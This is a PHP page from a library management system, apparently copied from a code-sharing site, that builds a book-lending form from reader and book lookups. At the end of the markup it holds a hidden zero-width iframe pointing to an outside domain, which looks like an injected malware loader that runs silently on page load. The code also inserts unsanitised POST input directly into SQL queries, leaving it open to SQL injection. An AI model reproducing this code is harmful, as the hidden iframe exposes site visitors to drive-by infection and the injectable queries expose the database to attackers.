?? jscl.php
字號:
<?php //插入數(shù)據(jù)
include "../config.php";
?>
<link href="../css/css.css" rel="stylesheet" type="text/css">
<?php //返回
if(!empty($_POST[submit5]))
{
echo "<script language='javascript'>window.location.href='js.php';</script>";
}
?>
<?php
if(!empty($_POST[submit2]))
{
$readername=$_POST["readername"];
$no=$_POST["no"];
if(empty($readername))
{ echo "<script language='javascript'>alert('讀者姓名不能為空');history.go(-1);</script>"; }
if(empty($no))
{ echo "<script language='javascript'>alert('圖書編號不能為空');history.go(-1);</script>"; }
?>
<?php
$sql="select * from bookmanagement.readerinfo where readername='$readername'";
$result=mysql_query($sql);
if($result)
{
$row=mysql_fetch_array($result);
$readername=$row["readername"];
$number=$row["number"];
$department=$row["department"];
$phone=$row["phone"];
$lenddate=date("Y-m-d");
$shoulddate=date("Y-m-d",strtotime("$lenddate + 7 day"));
?>
<form id="form" name="form" action="jscl1.php" method="post">
<table width="765" border="0" cellspacing="0" class="table">
<tr>
<td height="50" colspan="4" class="tabletitle"> 借書</td>
</tr>
<tr>
<td width="100" height="2" class="titlebg"></td>
<td width="350" height="2" class="titlebg"></td>
<td width="80" height="2" class="titlebg"></td>
<td width="250" height="2" class="titlebg"></td>
</tr>
<tr>
<td width="100" height="30" class="word"> 讀者姓名</td>
<td width="350" height="30" align="left" class="word"><input name="readername" type="text" id="readername" size="20" value="<?=$readername?>" /></td>
<td width="80" height="30" class="word"> 讀者部門</td>
<td width="250" height="30" align="left" class="word"><input name="department" type="text" id="department" size="20" value="<?=$department?>" /></td>
</tr>
<tr>
<td width="100" height="30" class="word"> 借書日期</td>
<td width="350" height="30" align="left" class="word"><input name="lenddate" type="text" id="lenddate" size="20" value="<?=$lenddate?>" /></td>
<td width="80" height="30" class="word"> 應(yīng)還日期</td>
<td width="250" height="30" align="left" class="word"><input name="shoulddate" type="text" id="shoulddate" size="20" value="<?=$shoulddate?>" /></td>
</tr>
<tr>
<td height="30" class="word"> 讀者電話</td>
<td height="30" align="left" class="word"><input name="phone" type="text" id="phone" size="20" value="<?=$phone?>" /></td>
<td height="30" class="word"> </td>
<td height="30" align="left" class="word"> </td>
</tr>
</table>
<?php } ?>
<?php
$sql="select * from books where no='$no'";
$result=mysql_query($sql);
if($result)
{
$row=mysql_fetch_array($result);
$no=$row["no"];
$category=$row["category"];
$bookname=$row["bookname"];
$state=$row["state"];
?>
<table width="765" border="0" cellspacing="0" class="table">
<tr>
<td width="100" height="30" class="word"> 圖書編號</td>
<td width="350" height="30" align="left" class="word"><input name="no" type="text" id="no" size="20" value="<?=$no?>" /></td>
<td width="80" height="30" class="word"> 圖書類別</td>
<td width="250" height="30" align="left" class="word"><input name="category" type="text" id="category" size="20" value="<?=$category?>" /></td>
</tr>
<tr>
<td height="30" class="word"> 圖書名稱</td>
<td height="30" align="left" class="word"><input name="bookname" type="text" id="bookname" size="20" value="<?=$bookname?>" /></td>
<td height="30" class="word"> 圖書狀態(tài)</td>
<td height="30" align="left" class="word"><input name="state" type="text" id="state" size="20" value="<?=$state?>" /></td>
</tr>
<?php } } ?>
<tr>
<td height="2" colspan="4" align="center" class="titlebg"></td>
</tr>
<tr>
<td height="50" colspan="4" align="center" class="word">
<input name="submit3" type="submit" id="submit3" value="借出" />
<input name="submit5" type="submit" id="submit5" value="返回" /></td>
</tr>
</table>
</form>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -